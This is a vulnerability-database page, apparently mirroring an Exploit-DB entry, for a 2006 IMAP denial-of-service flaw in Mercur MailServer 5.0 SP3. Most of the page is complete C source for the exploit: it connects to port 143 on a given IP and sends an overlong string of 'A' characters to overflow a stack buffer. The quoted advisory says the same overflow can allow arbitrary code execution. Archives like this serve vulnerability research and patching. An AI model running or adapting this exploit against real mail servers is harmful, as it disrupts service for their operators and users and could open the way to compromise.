Mercur MailServer 5.0 SP3 - 'IMAP' Denial of Service

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1055609 漏洞类型
发布时间 2006-03-19 更新时间 2006-03-19
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/1593
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/**
Exploit for : IMAP 5.0 SP3 DoS Exploit
Advisory    : http://secunia.com/advisories/19267/
Coder       : Omnipresent
Email       : omnipresent@email.it
Description : Tim Taylor has discovered a vulnerability in Mercur Messaging 2005, which can be exploited by malicious people and by malicious users to cause a DoS (Denial of Service) or to compromise a vulnerable system.

              The vulnerability is caused due to boundary errors within the handling of IMAP commands. This can be exploited to cause a stack-based buffer overflow via overly long arguments passed to the LOGIN and SELECT commands. Other commands may also be affected.

              Successful exploitation allows arbitrary code execution.

              The vulnerability has been confirmed in version 5.0 SP3. Other versions may also be affected.
**/




#ifdef _WIN32
        #include <winsock2.h>

        SOCKET sock;
        WSADATA wsaData;
        WORD wVersionRequested;

#else
        #include <sys/socket.h>
        #include <netinet/in.h>
        #define INVALID_SOCKET -1
        #define SOCKET_ERROR -1

        int sock;
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
   char buf[280];
   struct sockaddr_in saddr;
   unsigned long ip;
   int i;

   if (argc != 2)
   {
    printf("IMAP 5.0 SP3 - DoS Exploit!\r\n");
    printf("Coded by OmniPresent - omnipresent@email.it\r\n");
    printf("IMAP 5.0 SP3 - DoS Exploit!\r\n");
    printf("Advisory: http://secunia.com/advisories/19267/\r\n");
   	printf("%s <IP_Address>\r\n", argv[0]);
    
	exit(1);
   }
	
   ip = inet_addr(argv[1]);

#ifdef _WIN32
   wVersionRequested = MAKEWORD(2, 2);
   if (WSAStartup(wVersionRequested, &wsaData) < 0)
   {
      printf("Unable to initialise Winsock\r\n");
      exit(1);
   }
#endif
 

   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
   {
      printf("Socket Error \n");
      exit(1);
   }


   memset(&saddr,'0', sizeof(saddr));
   saddr.sin_port = htons(143);
   saddr.sin_family = AF_INET;
   memcpy(&saddr.sin_addr, (unsigned long *)&ip, sizeof((unsigned long *)&ip));

   if (connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
   {
      printf("Connect Error \n");
      exit(1);
   }

   for (i=0; i<278; i++) {
      buf[i] = 'A';
   }
   strcat(buf, "\r\n");
  

   send(sock, buf, sizeof(buf), 0);
   
 #ifdef _WIN32
 closesocket(sock);
 #else
 close(sock);
 #endif
 printf("DoS Attack Done!\n");
}

// milw0rm.com [2006-03-19]